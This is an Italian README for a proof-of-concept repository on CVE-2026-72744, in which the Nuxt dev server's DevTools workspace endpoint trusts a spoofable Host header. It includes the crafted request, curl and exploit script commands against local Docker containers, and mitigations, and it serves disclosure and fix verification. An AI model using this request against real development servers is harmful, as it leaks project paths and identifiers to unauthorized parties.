
Proof-of-concept exploit per CVE-2026-72744, una vulnerabilità di divulgazione di informazioni nell'endpoint workspace di Chrome DevTools del server di sviluppo Nuxt. Dimostra il difetto e verifica la correzione.
Questo repository è una Proof of Concept (PoC) della vulnerabilità di divulgazione di informazioni CVE-2026-72744 presente nell'endpoint Chrome DevTools workspace del server di sviluppo Nuxt.
Il server di sviluppo vulnerabile determina se la connessione proviene da un'origine locale basandosi non sull'indirizzo TCP peer, ma su header HTTP come Host, che possono essere specificati dall'attaccante. Se il server di sviluppo è in ascolto su 0.0.0.0, un attaccante non autenticato sulla LAN può ottenere il percorso assoluto del progetto e un UUID workspace persistente inviando una richiesta con Host: localhost.
Questa PoC avvia Nuxt 4.5.0 (versione vulnerabile) e 4.5.1 (versione corretta) in Docker e invia la stessa richiesta dal lato host per verificare la differenza di comportamento. Non esegue letture/scritture di file né esecuzione di codice.
Utilizzare esclusivamente per scopi educativi e per verifiche di sicurezza autorizzate. Non inviare richieste non autorizzate verso ambienti di terze parti.
>= 4.4.7, < 4.5.1 e >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettings abilitato per impostazione predefinitarootDir e dell'UUID workspace specifico del progettoNella versione vulnerabile, isLocalDevRequest tratta una richiesta come locale se Host è nella lista consentita e non sono presenti header cross-site provenienti dal browser. Poiché i client non-browser possono omettere o specificare liberamente questi header, la seguente richiesta supera il controllo.
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
La versione corretta, oltre al controllo degli header esistente, richiede che l'indirizzo TCP peer effettivo sia loopback (127.0.0.0/8 o ::1).
docker compose up -d --build
| URL | Versione | Risultato atteso |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200, divulgazione di informazioni |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
La prima build potrebbe richiedere alcuni minuti per il download dei pacchetti npm.
python3 exploit.py -t http://localhost:3000 --expect vulnerable
Output atteso:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
Output atteso:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Poiché la richiesta passa attraverso il port forwarding di Docker, l'origine della connessione vista dal container non è loopback. Ciò consente di riprodurre su un singolo host le condizioni equivalenti a un attacco dalla LAN.
docker compose down -v
exploit.py specifica Host: localhost e accede all'endpoint target senza inviare Origin, Referer o Sec-Fetch-Site. La vulnerabilità viene rilevata solo se il JSON con HTTP 200 contiene le stringhe workspace.root e workspace.uuid. HTTP 403 è il comportamento atteso per la versione corretta.
Aggiornare Nuxt alla versione 4.5.1 o successiva per la serie 4, e alla 3.21.10 o successiva per la serie 3. Se non è possibile aggiornare, bindare il server di sviluppo solo su loopback oppure impostare experimental.chromeDevtoolsProjectSettings: false.